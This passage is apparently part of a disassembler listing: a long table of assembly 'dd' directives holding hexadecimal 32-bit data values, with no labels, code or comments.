		dd 0F8700FDh, 6B275934h, 67007F47h, 0C4F785CBh,	1636E086h
		dd 4066E84Ah, 3CBAAD3Eh, 4B05C67Eh, 0E7940FCEh,	0F2C9C680h
		dd 1C3A03C4h, 9D083602h, 97151DF0h, 3E491A02h, 0E0ECC225h
		dd 73023FB4h, 77617543h, 2E76006Ah, 0A0A4367Bh,	5E90951Fh
		dd 7FB2A7E4h, 0C297B909h, 9C280052h, 3C3FAh, 42930837h
		dd 16E962A2h, 0C400A673h, 72381CF0h, 283743Bh, 48D0AA59h
		dd 0C4840E98h, 2C5BC0D9h, 400072Dh, 85FC67E1h, 1A9305h
		dd 0B346A333h, 0D36AC34Fh, 86E37D07h, 7D2FA5F3h, 0EA9ED21Dh
		dd 700FA2Ch, 29E4153Dh,	0B4470BE8h, 64811E20h, 0D1A91F86h
		dd 0E1DAD9CBh, 87F2E8EAh, 0F3E0716h, 6139D480h,	403F1D08h
		dd 54D1C2C9h, 4578443Ch, 0C27EA27Ch, 4700D24Fh,	14EB24E3h
		dd 8B00044h, 305C81A0h,	64023160h, 122C68C9h, 744D603Ch
		dd 3F78003Eh, 8480257Ch, 0B000881Ah, 1E96901Ch,	2C29812h
		dd 2258A020h, 0EEFEA84Bh, 0B8DCA407h, 96C02840h, 0C812002Ah
		dd 58D02CC2h, 0D8014B2Eh, 61E03009h, 34F0E832h,	84F00125h
		dd 38B1F836h, 0E404F0C0h, 3C960800h, 3EC21012h,	40580018h
		dd 4209204Bh, 44006128h, 25462C30h, 0FE488438h,	3F4A1EB2h
		dd 91584050h, 70F9684Ch, 8F4E2C01h, 6488C980h, 985870h
		dd 5223A04Bh, 59B8F2B0h, 0C81F5400h, 56C9D092h,	4B7E0068h
		dd 0F7F85823h, 0B4003304h, 18EC105Ah, 5475C96h,	0B230E428h
		dd 25BA005Eh, 58609148h, 2C01F973h, 0C9708F62h,	0C2C66478h
		dd 2398C09Ah, 0F2A00066h, 1F6859A8h, 0C00092B8h, 0FCD06AC8h
		dd 126C96D8h, 0E4E847h,	25706ED1h, 91750834h, 20E11801h
		dd 0B13F722Ch, 24EFE450h, 96F600F3h, 38D080FBh,	34EE5B35h
		dd 502F0F8h, 0A0373629h, 7AB1411Ah, 0F4ABE8h, 163894C7h
		dd 7FBAC275h, 3CFAE000h, 4990922Dh, 398C05FBh, 83263A12h
		dd 0C49A4792h, 5A1FC8C0h, 4F659301h, 84CF7A92h,	3CB8FC8h
		dd 0AE78A799h, 0C393B9E7h, 0D7B0CDA3h, 0F000E1E4h, 0FFFCF54Ah
		dd 1C18B4h, 1D259D13h, 1E479E3Bh, 599F4F04h, 0DDA0641Fh
		dd 0F497F071h, 0FEC7E6BBh, 0DCE6006Ah, 2C38C01Ch, 87006468h
		dd 27AF3014h, 2C847BBh,	5F81DA67h, 0B8806B32h, 2A208AD1h
		dd 3F13330Fh, 2007CF34h, 0DF24D336h, 0FE7426B0h, 3739008Eh
		dd 0ECA3AA9h, 2A380700h, 0B28E5C4Eh, 70F7FC3h, 0A3B39362h
		dd 0C84190F9h, 3B00B5D6h, 473C2512h, 0C21E84h, 58D89A1Ah
		dd 243E1917h, 54E24C0Fh, 9CF4E0D1h, 3DFCB5F8h, 1D3CB65Dh
		dd 0D0233880h, 43300C07h, 47822700h, 0F0C2649Dh, 39200028h
		dd 532F3831h, 0A97B3285h, 0F8EA261Eh, 74B89240h, 776772h
		dd 0FBA7CAF5h, 52930DC4h, 78BBB5Ch, 9692402Ch, 0CC1C8E0h
		dd 0E06C00B8h, 9B362482h, 0A0074E8h, 0E114B37h,	0CF7EF0h
		dd 61BD09AEh, 0D1C960C6h, 7F982C0Eh, 787B2039h,	0B496E8h
		dd 7E51DB8h, 25903B32h,	8AA0A80Ah, 0BB008237h, 0C3D1C405h
		dd 323E2EEDh, 200600C0h, 30F48868h, 0DEE64900h,	6E87072Fh
		dd 25470E1Ah, 4AE03767h, 0CC8C50A4h, 8591682Ch,	0C8328000h
		dd 0B0C64998h, 9AFD779Fh, 0E07F75h, 10B472ECh, 1C48B646h
		dd 28C9B800h, 3C302CE1h, 38271D2Eh, 1FA2898Ah, 49948A63h
		dd 2144DFh, 3EC56093h, 0F06C80C2h, 947E1600h, 3463B44Fh
		dd 0CCF200C8h, 0F9D490E9h, 4E0328D8h, 4085E027h, 5326A2E8h
		dd 35C08962h, 509E52A0h, 780982D1h, 80B45C28h, 406F364Fh
		dd 3702016Ah, 2F742B72h, 0F50DCCFh, 0BA4F8907h,	0E790E38Fh
		dd 3EFCBh, 934138CEh, 509BA272h, 0A74E6203h, 0F8F99A09h
		dd 0E6533992h, 0CAE90757h, 50AAE178h, 3A0AF0DAh, 6A02CE02h
		dd 0C0CF9E8Eh, 0E240FE9Bh, 3C800E3Bh, 0BE0090A6h, 529E1DDAh
		dd 0F082C200h, 5C9A4920h, 3C3E006Ch, 70E23DB3h,	18393F2Dh
		dd 65730787h, 0DE00B0A8h, 0F0C1F9h, 10481C3h, 16CECC7Ch
		dd 8B218900h, 53EE41EDh, 0F90C0131h, 3FE8686Ch,	0D0A4C984h
		dd 0B0242FACh, 0E70E4787h, 0E4C040BCh, 9428D3C4h, 0E0F250E0h
		dd 0B8EAF81Dh, 74107200h, 0F187614h, 205D1C78h,	20283FA7h
		dd 0EE302E2Ch, 1FDEA409h, 903AE23Ch, 9650FCh, 3FF47F70h
		dd 0E2D82CB8h, 2059FE03h, 0F84821D2h, 0D43254h,	58D6C660h
		dd 78CBD86Ch, 0A8DA3900h, 0B1B4D064h, 0C09632D2h, 0D827CC28h
		dd 2BE4C910h, 0D76948F8h, 2CCE630Bh, 38656A00h,	4401D28Ch
		dd 8A6D4B1h, 0CDC2126h,	942B00D1h, 300B9935h, 10072C18h
		dd 0E4A83755h, 173A2790h, 36AA0E87h, 49A04367h,	56C452A7h
		dd 0A8F43402h, 0C076FC72h, 4B33A1h, 88582240h, 7F327317h
		dd 9E005898h, 9A64ABC9h, 58A1D67Eh, 5300FE60h, 0F4725E34h
		dd 921CF87Ah, 0B79DA2FCh, 0EA80E21Dh, 225B06BAh, 9540313h
		dd 0DA40071Ah, 32603692h, 0F1C735Ah, 990192F0h,	4D381637h
		dd 1CD6DCh, 9DEB39DFh, 3A040FF2h, 91806C94h, 0AEB0CC92h
		dd 3B391F13h, 2FE58033h, 844E8B0Ah, 0AC3D21E0h,	2CD29F98h
		dd 4897D000h, 0E67BEEC3h, 0BDD3009Bh, 8EC2044Ah, 6E3950DCh
		dd 14B80E0h, 1B12835Ch,	6BB83F4Eh, 8ACB7882h, 19E0D224h
		dd 3200E0D0h, 0B2FBE8BAh, 7F3B4960h, 385A0740h,	40C77E93h
		dd 0F657A6EDh, 67CFEE03h, 0BAAA7309h, 92AAE09Ch, 68B02CBAh
		dd 3912000Dh, 553A4D34h, 41772500h, 0A2E99076h,	6DA800F1h
		dd 0C02093F8h, 6300359Eh, 3D73639h, 3F773726h, 9080833Ah
		dd 0FFB0A2A3h, 2A00063Bh, 1C94233Ch, 4F3D43h, 6817569Dh
		dd 0E1808449h, 0F9A8FA00h, 8E0F2AACh, 0BCCB4FB4h, 0A7C03D9Dh
		dd 58E80C4h, 2F587Ch, 995A8AEAh, 0E4016089h, 7D031CE6h
		dd 859D8130h, 8D9EE01Dh, 9791001Eh, 572EC0D2h, 0E503D132h
		dd 92768C60h, 787E9824h, 867A0E82h, 8EE08A7Ch, 9A6AF6B0h
		dd 9E00E47Ch, 8CAA14A6h, 0DB351Ch, 2F362B84h, 373B30ACh
		dd 3D0E3C73h, 6EEF3E3Fh, 0EFF7AEF3h, 0AE4720FBh, 39D924Bh
		dd 38CB87CEh, 39D92FCFh, 3C1DD04Fh, 5A1C7601h, 629D5E3Ah
		dd 8766E4h, 25883B84h, 0A408D58Ch, 3959CC00h, 2D0E5D3Dh
		dd 4E313E3Eh, 0E458F2E0h, 7674E074h, 5A004EB0h,	85025ECh
		dd 85A490h, 0F09A3096h,	2CEDA2C6h, 0D3D29C07h, 1680A74Ch
		dd 261E20E9h, 9D0A2Eh, 86340E92h, 83008A4Eh, 939D3599h
		dd 17DA0A1h, 85E48136h,	40EC9CE9h, 0DF1DDBD9h, 38678700h
		dd 392B21C3h, 3E1FE22Fh, 0E626E794h, 0BC430076h, 4888509Ah
		dd 24B2B61Ch, 9D171C80h, 0D21D7Bh, 6705D69Eh, 56B0733Ch
		dd 9F5D6AB0h, 0F8B803C7h, 92D7FCCAh, 9678E3h, 39C29002h
		dd 423A3B3Fh, 3C004DE6h, 25623D57h, 12924174h, 1F9FF993h
		dd 2AFA4020h, 0EC4E9EC4h, 0F4380F00h, 0FCCBF8CFh, 0A1941344h
		dd 0C2A704A4h, 66B18390h, 101EB0B8h, 189FECE5h,	0E61D1F5Bh
		dd 28932480h, 5AFEBEA1h
		dd 92772027h, 5E5C70AAh, 13F60C29h, 2F60247Ch, 5E0588B2h
		dd 9860E090h, 0A01F62BCh, 0A84CC080h, 33E1C14h,	12789D6Bh
		dd 0A3F8828Ah, 7E006CD8h, 0FC85BC2h, 0A8CFF060h, 0E0CA75Ch
		dd 47082704h, 4C1065A0h, 0EC005492h, 0A2E8DD90h, 2307F19h
		dd 3CAA818Bh, 27602CC8h, 0B81CE29Fh, 0DC80DE58h, 879794BCh
		dd 0E7DD00CAh, 32A1E1F9h, 5C2631BEh, 0F924A034h, 713A6A00h
		dd 27F63Bh, 0C4C08003h,	5B376036h, 0DE1A7900h, 6905789Bh
		dd 840F006Ch, 3501EE4Ch, 0C700366Ah, 2EA40E2Fh,	3B7A5Dh
		dd 97D3C76h, 0D07B3A6Fh, 941F9E79h, 0AEC0A678h,	3F3EB549h
		dd 2A0B00C6h, 0D0C1523Bh, 0A91FD983h, 0F2807E68h, 373C0F0Eh
		dd 8E7B004Eh, 9C1CF99h,	8800E205h, 2EBBCAE1h, 7F5260Fh
		dd 2F3E1242h, 697650F0h, 4798F59h, 0BA3FA800h, 0C6E1D925h
		dd 386C26A3h, 0C0D81CCEh, 2C240789h, 8AEA9D26h,	6381EF00h
		dd 0A3C9AF32h, 3AD40028h, 41CE25BCh, 0E900E7FCh, 604C3527h
		dd 2EC527Ah, 9578F058h,	0EFD96C34h, 9D28B482h, 0F37748BEh
		dd 0C3FF0016h, 24931ECCh, 0B33C3AA3h, 0D34A8042h, 8F63E252h
		dd 7CCF00ACh, 20508EC9h, 0B9E4B17Eh, 5B789801h,	0F6E20FD7h
		dd 2FD32FDh, 4609C540h,	68D8005Fh, 0AC16784Eh, 9C001E0Fh
		dd 0BAE7B04Bh, 312C42Ch, 0D84EF0D0h, 3B90E6FCh,	0BE04ACE2h
		dd 1C221398h, 1D6B52C0h, 2E9714E7h, 0A3009DC3h,	70E9B7E3h
		dd 0D105F1DAh, 8C093A85h, 0B0C08AC0h, 0A720030h, 35762274h
		dd 527B8D78h, 6CC58h, 97856044h, 996C04h, 70F8EC84h, 873B803Ah
		dd 32390E01h, 0A7614B46h, 9BF05961h, 34350033h,	0B804A473h
		dd 38771137h, 259AA800h, 1F6C4136h, 3AE60078h, 3B9E0EE2h
		dd 0EB5D47EFh, 934E00D5h, 0B281A35Eh, 0FE5000A1h, 698AE858h
		dd 2A0004C9h, 2F30BCB8h, 1F6281D7h, 419C3F27h, 0D0C493FFh
		dd 30ABC460h, 2C90F300h, 0DB4019Fh, 7C570032h, 0B5DC3754h
		dd 2A003303h, 63A23F93h, 5D1A70h, 0AB27207Bh, 13080E05h
		dd 0CEA09512h, 0C0900940h, 0AA4079Fh, 0E4ABE791h, 0F1D82F9Bh
		dd 0EFFDEE3Fh, 20162FD6h, 0BC86EC7Eh, 5F3F0068h, 581D0809h
		dd 8B007696h, 9E4A9778h, 17B23E0Fh, 727BCCBh, 20EBE7F3h
		dd 3804E2F7h, 32E4E300h, 10E8E0DBh, 0F8870029h,	0B5C9257Dh
		dd 704CCF24h, 90921764h, 0B4A48100h, 151F1Eh, 0D825EE27h
		dd 0E4ED5A87h, 26F0F200h, 0A4DBE5CFh, 96C20082h, 0B147045Eh
		dd 0A000BA84h, 0A2A9D3D8h, 0C639E3h, 44C1208Bh,	58CC7442h
		dd 0F4059700h, 57C8D276h, 5CA807E2h, 0D0821D84h, 93188326h
		dd 0B0C6A301h, 9C9637D0h, 12CDF8EFh, 1EA00EE3h,	2827390Dh
		dd 493B103Ah, 0D79E613Ch, 0B93F9B07h, 31A50740h, 0C87509h
		dd 0FD85F8A8h, 0B8219CF0h, 0FCBE5D3Ah, 50B53CFEh, 2F45006Fh
		dd 76310AE1h, 3F72E2FFh, 0DC78E000h, 140F4B5Eh,	57CF3953h
		dd 65005F3Ah, 1CC177CBh, 9507F98Fh, 0ADCE0F3Ah,	0C5F7BFF7h
		dd 0DF67D947h, 0CCBED80h, 20960541h, 0C1023CD3h, 703E5267h
		dd 8400734Ch, 0AAA0ABCCh, 0E26BEB3h, 0D6C3BB17h, 69CAF240h
		dd 2B1CE6B4h, 3E800802h, 0D07CC910h, 15AE2C34h,	3A1A0071h
		dd 24CD3B5Ah, 9CE6F200h, 0A5E81202h, 163E0078h,	0CA6C0E70h
		dd 3100B2C2h, 130AD015h, 0F40B33FFh, 7B1E0072h,	0F8DDC45Ah
		dd 0E5723FFAh, 0B782E94Eh, 0B974F1h, 7FD2DF9h, 2700091Eh
		dd 6731471Dh, 598445h, 81250EFCh, 0F9A9AA41h, 466CCA16h
		dd 74D69682h, 27DE033Dh, 0EAD061E2h, 0F21CA424h, 0FA80F6FCh
		dd 161C40BEh, 1742009Dh, 8230C456h, 0D409A1AEh,	80C91260h
		dd 37390447h, 413A0018h, 693C553Bh, 3E007D3Dh, 2EA53F91h
		dd 87DCB9h, 271B380Ah, 0A13D452Ch, 0A0605E00h, 3A0797E4h
		dd 34401F9h, 4E2430B8h,	4F70EC02h, 82AFCE00h, 0A7B53DACh
		dd 65EA00D8h, 1302F00Bh, 0EC3B17E8h, 0F41F801Bh, 0FC549823h
		dd 96B2002Bh, 9E0F334Bh, 6307CF4Fh, 70A774C9h, 0D343E4C7h
		dd 0DAF2C972h, 35004DCh, 88CCE810h, 11E83108h, 837B1B4Ah
		dd 91C2A400h, 0FB74E0F8h, 362D001Ch, 13509D47h,	0C00F05Ah
		dd 0A957F489h, 0D18584h, 2F92D98Dh, 78A1BC09h, 3A98BA07h
		dd 0F290D74Fh, 3CA5F3h,	38E90FBh, 0BE40738h, 0EC0FE800h
		dd 0A917F013h, 0F91F0FA0h, 0C4A22F27h, 0C12439h, 5B3FC4BCh
		dd 6BE864E4h, 7BF074ECh, 8D01469Ch, 0D37E9622h,	95BDFC8h
		dd 0FA1C0FE6h, 12709880h, 8200184Bh, 65C2C0Ch, 16401Fh
		dd 8FBCC052h, 0C4969B3Ah, 56B41717h, 0EC9E0006h, 2A726D6h
		dd 3B090070h, 0F8676079h, 3C1EC175h, 0D4CF2E01h, 11C860A4h
		dd 0F654F3Eh, 50BD54C2h, 723FFEC0h, 9D00746Dh, 8A98CD58h
		dd 11CC20h, 0E10427C0h,	0B1D18154h, 0B9B43028h,	575F4B16h
		dd 6076890Eh, 32F6407Dh, 23340017h, 421220B6h, 8A00D4A0h
		dd 0CFF8BAF4h, 3504C7h,	360821EBh, 940A3A5Fh, 96A62609h
		dd 204A84D7h, 0EF6640C3h, 3CC63B91h, 0F268070h,	0AC865285h
		dd 0B1E5C61h, 5046FC16h, 0C34BA424h, 0D6EEAA00h, 1FB1F94h
		dd 9EF01992h, 705DE840h, 0B1008CB5h, 6AD3C0A4h,	90D5F3CFh
		dd 6FF05CEAh, 6031148h,	1D9D103Dh, 339E2588h, 0C241171Fh
		dd 9500541Eh, 0B12FB4ACh, 0E3F60504h, 0C0FC9493h, 0D4407E8Ah
		dd 0A88B4801h, 0F1503F12h, 136C61C8h, 0B005C058h, 8902A901h
		dd 68CDE1C6h, 2DFE40D0h, 0E641005Ch, 0AE0F6EB7h, 230003FEh
		dd 43922F32h, 721E98D6h, 977869h, 0E568E0BBh, 34B406FCh
		dd 82601300h, 1CF0B0A2h, 0FC0005Fh, 0F6CBE1D6h,	4E00A050h
		dd 0B9A60E7Dh, 3A41D9C9h, 69804DF0h, 0D5F20B3Bh, 4A00E450h
		dd 0A98CC710h, 0FDB44C41h, 0DE7E20h, 3388658h, 729C5C37h
		dd 7662740Bh, 0A3822071h, 9FBC7CC2h, 480B7250h,	8065F6A0h
		dd 85C0ECD9h, 831203D3h, 0B57116F0h, 0B1F632DEh, 2FDAA80Eh
		dd 0DECC0E9h, 0E4F8293h, 0BCD868B2h, 52095EA6h,	7B5AD003h
		dd 0D8FA7DDEh, 0F4C085h, 95D53F4Ah, 40055C8Eh, 0D0E20200h
		dd 0AE84082Dh, 0AE00023h, 9672F057h, 9D1F11ACh,	0BFBC5127h
		dd 88C81F6Ah, 91B7AE80h, 1FF9D182h, 80026EE1h, 56123207h
		dd 38001D1Eh, 70E03D96h, 46B647h, 2DDA5115h, 650C055Bh
		dd 2E84BC01h, 0D79F569Dh, 509AEAC8h, 0D0FAFEh, 6B4AB441h
		dd 34BEDC02h, 0A000DE7Ah, 0D149C9F9h, 6B093E5Ch, 0D55CBAh
		dd 52B2C34Ah, 1F647EA2h, 0BA9D1268h, 37254E83h,	72F0C15Ah
		dd 74037AD9h, 0C0F89FE6h, 382FF8FCh, 8E070080h,	397061F6h
		dd 8313C97Dh, 0B8120F3Eh, 0B549FF00h, 4A7EF6D8h, 1996C0DEh
		dd 6CBC203Ah, 379E2B00h, 0F24316h, 87662D90h, 0BBE78E38h
		dd 0B1C7E41Fh, 0F3F62080h, 0B8BAFFFCh, 0FA1E00BBh, 1F3C2713h
		dd 3E019661h, 0D35AF853h, 0F3E0E367h, 0E8CEE4A3h, 0EEECDEh
		dd 283D18F0h, 601D64B4h, 827F9600h, 92DEC05Ah, 0ACF8001Fh
		dd 834D1770h, 0B20087C8h, 5ACA50AFh, 0EE8201h, 1EECD41Ah
		dd 83551236h, 0F3A9D20Eh, 0F2F140B9h, 30CD8FDh,	1C452090h
		dd 7BA75470h, 9E61C900h, 0B1031602h, 0B7EA9AF0h, 39C2ED81h
		dd 88C86033h, 7CC10396h, 9A127AB6h, 0C31318C8h,	2005A7Fh
		dd 7520945h, 0E58F0Ah, 0BA44E09Bh, 330EE3FEh, 8B347F00h
		dd 7C41984Bh, 0D0E130B0h, 393AB84Ah, 0F42353Ah,	0A054254Ch
		dd 98E979A6h, 9A0F002Ah, 0D801C9FCh, 9001C18h, 0C39DBB37h
		dd 169EE21Dh
		dd 0E81A16FEh, 30C1002Bh, 0C98D126Ah, 681D3D88h, 5712780h
		dd 74939AE4h, 83E5D614h, 359200AAh, 3A6DF249h, 0AE5E0009h
		dd 0F9C8E2C1h, 2A0068CEh, 0E425DC3Fh, 0E6F7B484h, 9EF83C0Ah
		dd 7E072987h, 0A071C048h, 0FC39A968h, 0A6BE33B9h, 0C0EBFC9Fh
		dd 34E1E018h, 0F4FE301Fh, 89E80F9h, 70830A12h, 23B2031Ch
		dd 4E1F46DCh, 5B925390h, 6C06E007h, 792771FCh, 5B78340h
		dd 907F4Ch, 88D8A60Ch, 0F60FBB4Bh, 0D4CFCA00h, 1627DBCBh
		dd 0DE40EEDh, 2E098ACh,	0E3602099h, 2E9C8201h, 3A3C5E13h
		dd 48435F4h, 56E05DC4h,	68E5C0BDh, 800C1FCh, 0F6341B32h
		dd 209858h, 92167294h, 0C1A382C3h, 9D351300h, 0C2149C02h
		dd 0C64D00E8h, 1C3A0F39h, 1AB42E3Bh, 543E4701h,	73C8663Fh
		dd 417F3C27h, 0F6A9E04h, 0ADF862h, 6650D0CBh, 0E8ED85Ah
		dd 7EE44C68h, 16B61A40h, 3A608407h, 0EB45B1C4h,	5C4A18BCh
		dd 0B6E1E25Eh, 44D93C1Dh, 4CE94845h, 96F0E81h, 0F858D4h
		dd 0C2604FBEh, 0E48073C0h, 3F0A3E00h, 4A94B656h, 7C11389Ch
		dd 7B30E600h, 89328531h, 808DE43Eh, 13951E8Eh, 1CA44F99h
		dd 80A5CFA1h, 0A7ADC9A9h, 795B5ACh, 0C147BD7Ah,	74E5C560h
		dd 69A20049h, 0D171F641h, 8A072475h, 0F8B5F47Dh, 4BA9E60h
		dd 56380019h, 0BCC30AA0h, 0DC77170Eh, 0F0F42C05h, 0A0062614h
		dd 3E309D82h, 1F9D1628h, 26BDDD6Ah, 0A03C0FA4h,	7CB27200h
		dd 0F018E4Fh, 2D2F9AAh,	62FC2180h, 3E581E41h, 0D12EC1h
		dd 18862648h, 341F6987h, 35442FB5h, 6C803694h, 723837h
		dd 0C4DB4D86h, 13C0892Ah, 0BD3CE100h, 0CA969CF3h, 14C9043Eh
		dd 0C05B5458h, 6C90407Ah, 30E91000h, 231610Eh, 26320022h
		dd 2ED12AC9h, 360005DAh, 3E3FFCF8h, 6A902Ch, 94E01E96h
		dd 26DAE8D3h, 52E2340Bh, 1F578087h, 445F27h, 7FDEEC8Ah
		dd 0E2723625h, 5CC1F400h, 281BE1FFh, 0AE3A002Ah, 9D1CB82Eh
		dd 0F5001DD9h, 0B03B8F87h, 0C5C124h, 0B7149234h, 912CE5Ch
		dd 0A5175CB8h, 1D002840h, 88306A48h, 78110EA0h,	95E0590Bh
		dd 0D2BFFE25h, 80D5C63Dh, 14EB5C38h, 60124Bh, 404DDA09h
		dd 72326392h, 0B4B8831Dh, 895BA709h, 0E850007Bh, 0BFEC2Bh
		dd 171C069Ch, 6A396587h, 4489271Eh, 3FAE0C1h, 37D404BDh
		dd 56960392h, 0DF1F087Ch, 0FE9FEC90h, 1600937Fh, 9920B284h
		dd 3F94002h, 4C8E3444h,	6190BAFCh, 85003F39h, 0B52DA03Ah
		dd 6026491h, 1A30222Eh,	427E7AF4h, 0BC6E1600h, 0E0961270h
		dd 7BBB7724h, 0C2E3162Ch, 1B8DB072h, 8B27253Fh,	9F1462Ah
		dd 58408085h, 9AF293h, 0F9B178C9h, 7CE2FAE5h, 0E72E561Dh
		dd 0C4F5A740h, 0C6F008h, 9539E82Dh, 0A84A8C84h,	693F941Ch
		dd 792C7180h, 0E412582h, 9DF9950Ah, 0AE8BA54Eh,	0C74E8080h
		dd 0E0003027h, 5E1F2E7h, 0F4C91634h, 2C6107D1h,	77753D5Ah
		dd 0CE32E07Bh, 3C5C5FF9h, 26A803F1h, 0D19EA2B3h, 80EB1597h
		dd 2B1E880h, 195EBECh, 0C0C20420h, 433A48C0h, 7A017876h
		dd 9714E52h, 22608956h,	0DAB0399Ch, 1390B406h, 0D360F8C7h
		dd 4E94D08Ch, 802CDCF5h, 0D11D50C1h, 2F00D926h,	42022DE3h
		dd 1582441h, 6C25F638h,	0E47A62E1h, 0FC098BFAh,	80859795h
		dd 0E6EEB0FDh, 39E20EB8h, 934B873Ah, 91BA6F80h,	530F5BC4h
		dd 30629Ch, 0D615105Eh,	0E692EAF6h, 6C500301h, 3E0BF24Bh
		dd 4D2D190h, 70346400h,	0A44C08E8h, 36910018h, 4A3912BCh
		dd 2A008325h, 0FE0C4D53h, 0C1582Fh, 0B5E19A44h,	7DF0C2E9h
		dd 8B723C00h, 0F49BD0E0h, 0C449023Dh, 0F808A135h, 8BB92741h
		dd 7E53F6D8h, 502200B6h, 0B125BB6h, 0F84D8A00h,	7874F57Ah
		dd 2E9A3C55h, 3EF06B81h, 0FC8F267Fh, 67F6027h, 0BB723900h
		dd 0F376C574h, 3A0E0013h, 33E24E18h, 550002D9h,	0B99D49E9h
		dd 1ECC17C1h, 43DE564Fh, 0F8BEE1E7h, 0AC03018Bh, 7612740Ah
		dd 0D628F01Dh, 393D003Eh, 84B5A7A0h, 2200E194h,	7C690BE0h
		dd 5442C17h, 4A25343Ah,	2FD4FC1h, 4E6F25h, 9D330DE0h, 1D001CF0h
		dd 4936922Eh, 277998h, 82E5978Eh, 0D6F01285h, 7BDB800h
		dd 23A1D1D0h, 0C9770936h, 0A827C7Fh, 7BC02718h,	0F900BFA8h
		dd 0E7424C5h, 2E3A2189h, 54B20Bh, 6A784150h, 12006FF9h
		dd 0CA92C9B4h, 0B6DD1C74h, 9EF1074Ah, 4E0CE0C8h, 93001B6Eh
		dd 0A22590D3h, 7320E92Fh, 0F16B2E61h, 0A48A098Ah, 0B2C1FE20h
		dd 0D6727EB4h, 0EA4BE000h, 3A103602h, 34590021h, 1EC27B13h
		dd 760E4990h, 5EB9F9AEh, 3F893C5Dh, 219D0D3h, 0ABEE2DE4h
		dd 0E6C058B4h, 19005B0Eh, 0B2EB00Fh, 3CA86136h,	6C832B4Bh
		dd 4187C97Bh, 303CAAD8h, 0DD2546C3h, 0B818B311h, 392E0Eh
		dd 96C9498Eh, 0A35B2850h, 0F164C80Eh, 0E5C13DB2h, 91FE7809h
		dd 366F0ECh, 31B80E40h,	18C849C1h, 3303E8B6h, 0DB5AF372h
		dd 0A5FEA8C3h, 3DF9000Bh, 0D9569A41h, 0A736C27h, 0C0053100h
		dd 252CEC3Bh, 4410045h,	160F7B9Dh, 0BE3DCFB2h, 588201CBh
		dd 3AC9323Bh, 706A002Bh, 974F3C8Dh, 0ACA80E00h,	38D1B3CBh
		dd 0F1DD0018h, 6B5F3D51h, 8000DE09h, 9E4F98F8h,	0BB96C3h
		dd 35F0CEF3h, 0B1E4413Eh, 0BA48BE98h, 0E0780E46h, 40C44003h
		dd 72F3201h, 4F415B30h,	580960A0h, 603EF888h, 48839C4Bh
		dd 0B25AA341h, 4A607C68h, 0DCB80087h, 8C4EA63Fh, 0BC00FC0Eh
		dd 17822EAAh, 3ABE4B2Ah, 4580DB50h, 3FACB870h, 8C4C2F78h
		dd 7DB43E8Fh, 0E8E8E9F9h, 16F06D08h, 7CF02800h,	60ACA930h
		dd 392EF47Bh, 9803883Fh, 0E059B821h, 89303ED8h,	7225A000h
		dd 0A932ECC8h, 14F807C2h, 84CB285Eh, 8560848Bh,	3019BC0Fh
		dd 2D364C84h, 708701ACh, 0ECD8E5CCh, 0C845313Ch, 3E00BE0Ch
		dd 0DA821A16h, 504A4930h, 53ACB45h, 0CB8CCF6Dh,	7EECC098h
		dd 0B47D5EACh, 0C90CBCECh, 86E025C0h, 28B90746h, 2720FCAAh
		dd 9EFD4E24h, 9F301E2Ch, 80381F34h, 0C607B73Ch,	5218E444h
		dd 58C624E8h, 885E0528h, 0ECAC74C3h, 0E8CC251Ch, 0F8DCF22Ch
		dd 5E520138h, 2010719Ch, 83C871C4h, 344BD610h, 58A2F1B2h
		dd 0F760AEE5h, 89B01EF6h, 4AD84088h, 0D03A099Dh, 134EFB01h
		dd 0EC50F0E4h, 0F4E187EEh, 46A1F880h, 80314EC0h, 5C849F06h
		dd 2BF3458h, 4E7E4CA2h,	4143741Fh, 0EC52EEADh, 0A0005B80h
		dd 0F48F3ADBh, 987803CBh, 4E5E0079h, 964A0F79h,	830EFA4Fh
		dd 21933370h, 0B3BFA3ADh, 49E830h, 0B17DA74h, 8281504Eh
		dd 5B362C00h, 0A67E8757h, 0F0BD0564h, 0B85DC4h,	7973496h
		dd 470099EEh, 85E267B6h, 0AAE0FBh, 2CA8BC77h, 5DD1698h
		dd 973AAE00h, 7C0A7A92h, 4026078Eh, 37A08212h, 503C7016h
		dd 0F27BA604h, 0C04E5D03h, 0D06F9FE0h, 1AF6B66h, 21B07A09h
		dd 303F156Ah, 0D107630Dh, 0CE1C3AA7h, 0F10320F0h, 29120F94h
		dd 868080BCh, 0D33CAB3Bh, 25E53D00h, 0BE9C8A02h, 81BF0012h
		dd 0EA32152Ah, 0A7F2F0D6h, 2DCEB000h, 0D84687B7h, 0E04C0045h
		dd 6AB4994Eh, 1605FC1Eh, 955283C8h, 45A29900h, 1A090A7h
		dd 3907A144h, 0E4F52551h, 3A002E08h, 0A2FBE535h, 0EC6AADh
		dd 2821D661h, 3C503B4Ah, 0A4275F13h, 1EBA35F0h,	0C095F8D9h
		dd 1C929C4Ch, 0D2E8A33Dh, 3A00E872h, 0C0FB2FF7h, 3F03DAh
		dd 0B740772h, 13780F76h, 7C177A03h, 931F7E1Bh, 0B327A323h
		dd 0D02FC32Bh, 374E33h,	5F0280C6h, 3080943h, 900E7A72h
		dd 80AC92CBh
		dd 0CCC9979Ch, 77D1006Bh, 0B63DAA2Ch, 4195BB3Eh, 0F7D1EB32h
		dd 82305071h, 25D1171Bh, 0C91DFFD9h, 1C096A40h,	8B4A04h
		dd 0B5A6B8B0h, 0E7BC6C07h, 0CDE5C602h, 0C0DE3CE0h, 3FEF367Dh
		dd 3400F9E4h, 173A0A39h, 8705232Fh, 4FA74228h, 3CF25FC7h
		dd 607CE23Fh, 2A09F0Bh,	724AB292h, 0DE78E2CBh, 0DC48F705h
		dd 0A9FC7746h, 78927400h, 803F8CB8h, 9E84253Dh,	0C2004F90h
		dd 98D89496h, 329C005Ch, 0E59AE24Ah, 0FB7766B8h, 3FB6E300h
		dd 4342F30h, 16AB0E6h, 0CB44BE0Fh, 70D46148h, 7DB8D699h
		dd 60F40700h, 2EAE64E4h, 8C3F00CEh, 2859025h, 1001B098h
		dd 9CA4FCA0h, 37A1F76h,	0C3B49284h, 0C0F2BCE8h,	0E617571Ch
		dd 0B6E0E880h, 0C195F0h, 2078F8ECh, 4362F70h, 0C00BAF2h
		dd 14E110D9h, 32B18E9h,	408FFC8Bh, 489044CFh, 700B4CC9h
		dd 544E08h, 60F25C29h, 4A6A07F8h, 0F010F068h, 0C912E595h
		dd 48A6D92Fh, 2FAC97CFh, 5A45E8E0h, 0DB9514h, 4009EED7h
		dd 0E6ACD002h, 8832000Bh, 38E5AEDCh, 7E002C8Dh,	0BAF4782Eh
		dd 3D6A63Bh, 54275EE3h,	60A9A244h, 0F2456083h, 2EFC8C00h
